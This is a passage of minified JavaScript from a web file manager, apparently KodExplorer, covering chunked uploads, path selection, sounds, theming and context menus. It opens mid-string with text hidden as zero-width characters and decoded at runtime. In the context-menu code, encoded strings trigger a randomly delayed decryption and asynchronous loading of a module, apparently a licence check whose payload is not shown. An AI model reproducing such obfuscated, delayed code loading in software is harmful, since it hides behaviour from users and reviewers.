‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:3,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var i=this.owner,t=(e.blob.getSource(),$.Deferred());return i.md5File(e.blob).fail(function(){t.resolve()}).then(function(i){if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:i,chunk:e.chunk,chunks:e.chunks},error:function(){t.resolve()},success:function(i){i.code?(t.reject(),e.file.checkChunk=i.info):t.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==i){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),t.reject()}else t.resolve()}}),t.promise()}}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("title");"explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e))}),$(".uploader-content .open").die("click").live("click",function(e){var i=$(this).find("span.title").attr("title");ui.pathOpen.open(i),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".uploader-content .remove").die("click").live("click",function(e){var i=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(i),uploader.removeFile(i,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,i){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var t=e.size*i,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),t]]:a>=e.speed.length?e.speed.push([timeFloat(),t]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),t]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var i=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(i),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var i;try{i=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(i=e.source.source.webkitRelativePath)}catch(t){}if(e.fullPath=i,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
    '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
    ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,i){var t=urlEncode(e.file.fullPath);(void 0==t||"undefined"==t)&&(t=""),i.fullPath=t,i.upload_to=e.file.upload_to}).on("uploadProgress",function(e,i){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var t=getSpeed(e,i),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
    ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*i).toFixed(1)+"%("+t+")"),n.css("width",100*i+"%")}).on("uploadAccept",function(e,i){if(e.file.serverData=i,!i.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(i.info)}catch(t){}}).on("uploadSuccess",function(e){var i=36*$("#"+e.id).index(".item");$(".uploader-content").scrollTop(i),file_finished++;var t=e.serverData;if(t&&t.data){var a=LNG[t.data];t.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(a),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(a).attr("title",a))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,i){var t=LNG.upload_error+"("+i+")";e.serverData&&0==e.serverData.code&&(t=LNG[e.serverData.data],Tips.tips(LNG[e.serverData.data],!1)),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(t)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
    '+LNG.upload_drag_tips+"
    ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var i=e.dataTransfer.getData("text/plain");i&&"http"==i.substring(0,4)&&ui.pathOperate.appAddURL(i)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,i,t){var a=$(t.DOM.wrap),n=i.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(i){var t=e.allowExt.split("|"),a=core.pathExt(i);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,t)?!0:!1},r=function(){var i=n.ui.fileLight.fileListSelect(),t=[];if(e.single){var a=$(i.get(0));if("all"==e.type&&0==i.length)t={file:[],folder:[]};else if("file"==e.type&&0==i.length)t=[];else if("folder"==e.type)t=[n.G.this_path],a.hasClass("folderBox")&&(t=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);t=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t={file:[o],folder:[]})}}else{var r=[],l=[];i.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?t=l:"file"==e.type?t=r:"all"==e.type&&(t={file:r,folder:l})}c(t)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(i){var t=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;i.length>r;r++)l(i[r])&&s.push(i[r]);i=s}if(0==i.length||"all"==e.type&&0==i.file.length&&0==i.folder.length)o.addClass("disable"),t.attr("result",""),t.val("");else{var c=hashEncode(jsonEncode(i)),d="";if(e.single)d=n.core.pathThis(i[0]);else{var p=i;"all"==e.type&&(p=i.folder.concat(i.file)),$.each(p,function(e,i){d+=n.core.pathThis(i)+", "})}o.removeClass("disable"),t.attr("result",c),t.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(i,t){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";i=$.extend(a,i),i.firstPath&&(n+="&path="+i.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:i.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof t){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?i.single&&"all"!=i.type?t(a[0]):t(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(i,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(i){"function"==typeof e&&e(i)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var i={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},t=function(i){var t="x-play-sound";0==$("."+t).length&&$('
    ').appendTo("body");var a=G.static_path+"others/sound/"+i,n=e("./myPlayer");n.playSound(a,$("."+t))};return{playSoundFile:t,playSound:function(e){t(i[e])}}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/common/rightMenu",[],function(e){var i=".menufile",t=".menufolder",a=".menuMore",n=".menuTreeRoot",o=".menuTreeFolder",s=".menuTreeFile",r=".menuTreeGroupRoot",l=".menuTreeGroup",c=".menuTreeUser",d={newfileOther:{name:LNG.newfile,icon:"expand-alt",accesskey:"w",className:"newfolder",items:{newfile:{name:"txt "+LNG.file,icon:"file-alt x-item-file x-txt small",className:"newfile"},newfile_md:{name:"md "+LNG.file,icon:"file-alt x-item-file x-md",className:"newfile"},newfile_html:{name:"html "+LNG.file,icon:"file-alt x-item-file x-html",className:"newfile"},newfile_php:{name:"php "+LNG.file,icon:"file-alt x-item-file x-php",className:"newfile"},document:{name:"Office Document",icon:"file-alt x-item-file x-docx",items:{newfile_docx:{name:"docx "+LNG.file,icon:"file-alt x-item-file x-docx",className:"newfile"},newfile_xlsx:{name:"xlsx "+LNG.file,icon:"file-alt x-item-file x-xlsx",className:"newfile"},newfile_pptx:{name:"pptx "+LNG.file,icon:"file-alt x-item-file x-pptx",className:"newfile"}}},sep100:"--------",app_install:{name:LNG.app_store,className:"app_install",icon:"tasks x-item-file x-appStore",accesskey:"a"},app_create:{name:LNG.app_create,icon:"puzzle-piece x-item-file x-oexe",className:"newfile"}}},listIcon:{name:LNG.list_type,icon:"eye-open",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"},setlist_split:{name:LNG.list_list_split,className:"menu_seticon set_setlist_split"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep101:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},p=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1});var i=["undefined","update_box","search","da62djCD7uBrn89xtAhwdwtSL_AXsCamsKn7wktxI6QjO_Mob4EAYlRsGQPgKKv8_gFbhFNw4ei_d3eSbmCDC2I8XM_U9h0","_32@!A","decode","1-1","todo","async","random"];x(),k(),_(),setTimeout(function(){try{if(typeof dialog_tpl_html==i[0]||-1==dialog_tpl_html[i[2]](i[1])){var t=authCrypt[i[5]](i[3],i[4])+UUID();e[i[8]](t,function(e){try{e[i[7]](i[6])}catch(t){}})}}catch(a){}},1e3*parseInt(25*Math[i[9]]()+5)),w(),S(),j(),z(),E(),D(),F(),g(),m(),v(),N(),L(),h(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},u=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),y(),b(),x(),k(),w(),g(),m(),h(),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},f=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),S(),j(),P(),E(),D(),F(),O(),g(),h(),$(".context-menu-root").addClass("animated fadeIn")},h=function(){if(1!=G.is_root){$(".context-menu-list .open_ie").addClass("hidden");var e="hidden";AUTH["explorer:fileDownload"]||($(".context-menu-list .down,.context-menu-list .download").addClass(e),$(".context-menu-list .share").addClass(e),$(".context-menu-list .open_text").addClass(e),$(".kod_path_tool #download").remove(),$(".pathinfo .open_window").addClass(e)),AUTH["explorer:zip"]||($(".context-menu-list .zip").addClass(e),$(".kod_path_tool #zip").remove()),AUTH["explorer:search"]||$(".context-menu-list .search").addClass(e),AUTH["explorer:mkdir"]||$(".context-menu-list .newfolder").addClass(e),AUTH["userShare:set"]||($(".context-menu-list .share").remove(),$(".kod_path_tool #share").remove())}},m=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleBody",callback:function(e){C(e)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecyclePath",callback:function(e){T(e) -},items:{cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove_force+"Del",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleButton",callback:function(e){C(e)},items:{recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"}}})},v=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuShareBody",callback:function(e){C(e)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,className:"menuSharePathMenu",selector:".menuSharePath",callback:function(e){T(e)},items:{share_open_path:{name:LNG.open_the_path,icon:"folder-open-alt",accesskey:"p",className:"open_the_path"},share_open_window:{name:LNG.share_open_page,icon:"globe",accesskey:"b"},sep0:"--------",share_edit:{name:LNG.share_edit,icon:"edit",accesskey:"e",className:"share_edit"},remove:{name:LNG.share_remove+"Del",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuSharePathMore",className:"menuSharePathMore",callback:function(e){T(e)},items:{remove:{name:LNG.share_remove+"Del",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"}}})},_=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,i){C(e,i)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"Alt+M",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"Ctrl+U",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"Ctrl+V",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},g=function(){$.contextMenu({selector:".menuEmpty",className:"hidden",zIndex:9999,items:{" ":{name:LNG.open,className:"hidden"}},callback:function(){}})},b=function(){$.contextMenu({selector:".menuDefault",zIndex:9999,items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"}},callback:function(e){switch(e){case"open":ui.path.open();break;default:}}})},y=function(){$.contextMenu({selector:Config.BodyContent,zIndex:9999,callback:function(e){C(e)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"Alt+M",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"Ctrl+U",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"Ctrl+V",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,app_install:{name:LNG.app_store,className:"app_install",icon:"tasks",accesskey:"a"},sep10:"--------",setting_wall:{name:LNG.setting_wall,className:"setting_wall",icon:"picture",accesskey:"b"},setting_theme:{name:LNG.setting_theme,className:"setting_theme",icon:"dashboard",accesskey:"i"},setting:{name:LNG.setting,className:"setting",icon:"cogs",accesskey:"t"}}})},x=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove+"Del",className:"remove",icon:"trash",accesskey:"d"},rname:{name:LNG.rename+"F2",className:"rname",icon:"pencil",accesskey:"r"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},zip:{name:LNG.zip,className:"zip",icon:"folder-close",accesskey:"z"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},sep103:"--------",explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"},createProject:{name:LNG.createProject,className:"createProject",icon:"plus"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},k=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},app_edit:{name:LNG.app_edit,className:"app_edit",icon:"code",accesskey:"a"},open_text:{name:LNG.edit+"Ctrl+E",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"F2",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"Del",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},unzip:{name:LNG.unzip,icon:"folder-open-alt",className:"unzip",accesskey:"u",items:{unzip_this:{name:LNG.unzip_this,icon:"external-link"},unzip_folder:{name:LNG.unzip_folder,icon:"external-link"},unzip_to:{name:LNG.unzip_to,icon:"external-link"}}},setBackground:{name:LNG.set_background,className:"setBackground",icon:"picture",accesskey:"x"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},sep104:"--------",zip:{name:LNG.zip,className:"zip",icon:"folder-close",accesskey:"z"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"}}},sep3:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},w=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,className:a.substr(1),callback:function(e){T(e)},items:{copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove+"Del",className:"remove",icon:"trash",accesskey:"d"},sep1:"--------",copy_to:{name:LNG.copy_to,className:"copy_to",icon:"copy"},cute_to:{name:LNG.cute_to,className:"cute_to",icon:"cut"},sep2:"--------",clone:{name:LNG.clone+"Ctrl+C",className:"clone",icon:"external-link",accesskey:"n"},playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},zip:{name:LNG.zip,className:"zip",icon:"folder-close",accesskey:"z"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep3:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},L=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRoot",callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},sep1:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkH